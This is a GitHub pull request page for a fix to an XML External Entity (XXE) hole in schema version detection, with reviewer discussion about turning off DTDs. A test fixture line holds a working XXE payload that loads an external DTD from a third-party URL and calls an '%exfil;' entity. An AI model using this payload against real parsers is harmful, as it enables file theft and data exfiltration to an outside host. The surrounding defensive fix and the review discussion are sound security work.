-
-
Notifications
You must be signed in to change notification settings - Fork 60
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Fix possible XXE during XML schema version detection #434
Conversation
private List<String> extractAllNamespaceDeclarations(final InputSource in) | ||
throws ParserConfigurationException, IOException, SAXException | ||
{ | ||
Document doc = createSecureDocument(in); |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This is a good fix. However, I am not sure why a core library has to take a position to disable all use of DTD. What if an organization legitimately needs them especially for external references etc? Best to expose these as non-breaking settings and make it clear that users and applications are responsible for security and cannot offload security to core libraries.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This is a good fix. However, I am not sure why a core library has to take a position to disable all use of DTD. What if an organization legitimately needs them especially for external references etc? Best to expose these as non-breaking settings and make it clear that users and applications are responsible for security and cannot offload security to core libraries.
I thought about this but then I realized this part is not doing any parsing of the content, this is to get the schema version to parse to the right version, for the deserialization we use Jackson who by default has this protection enabled FasterXML/jackson-dataformat-xml#190 so even if we wanted to do this we would need to change the default behavior of Jackson
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Disabling it is fine and desired IMO. An alternative would be to allow users to provide their own DocumentBuilderFactory
, but defaulting to a locked-down version.
But that feels like something we can think about when there's an immediate need for it, i.e. when someone needs it.
@@ -0,0 +1,27 @@ | |||
<?xml version="1.0" encoding="UTF-8"?> | |||
<!DOCTYPE bom [<!ENTITY % sp SYSTEM "https://gist.githubusercontent.com/agustin-mrtz/593ab443b77890d052e55899b16b61a8/raw/3cdd376bba0007145fa2bbacb9abe36cbd5a43ce/file.dtd"> %sp; %param1; %exfil;]> |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Is it possible to change this to some URL or local file path that is not controlled by a 3rd party?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Is it possible to change this to some URL or local file path that is not controlled by a 3rd party?
Updated it, committed the wrong file while testing
private List<String> extractAllNamespaceDeclarations(final InputSource in) | ||
throws ParserConfigurationException, IOException, SAXException | ||
{ | ||
Document doc = createSecureDocument(in); |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Disabling it is fine and desired IMO. An alternative would be to allow users to provide their own DocumentBuilderFactory
, but defaulting to a locked-down version.
But that feels like something we can think about when there's an immediate need for it, i.e. when someone needs it.
Signed-off-by: Alex Alzate <[email protected]>
hey @nscuro for some reason I can't reply to your last comment, I can do this in a new PR, I want to focus this on the fix, and then we can add the option to set their on |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
@mr-zepol I wasn't saying we should implement that, I was merely pointing out we could do it, but only when people actually start asking for it, which I think will not happen. So all good.
fixes GHSA-683x-4444-jxh8 |
During some testing, it was found that the parser for XML was vulnerable to XML External Entity (XXE) Processing.
After further investigation from Sonatype team, it was found it was due to the XPath Processing done to get the schema version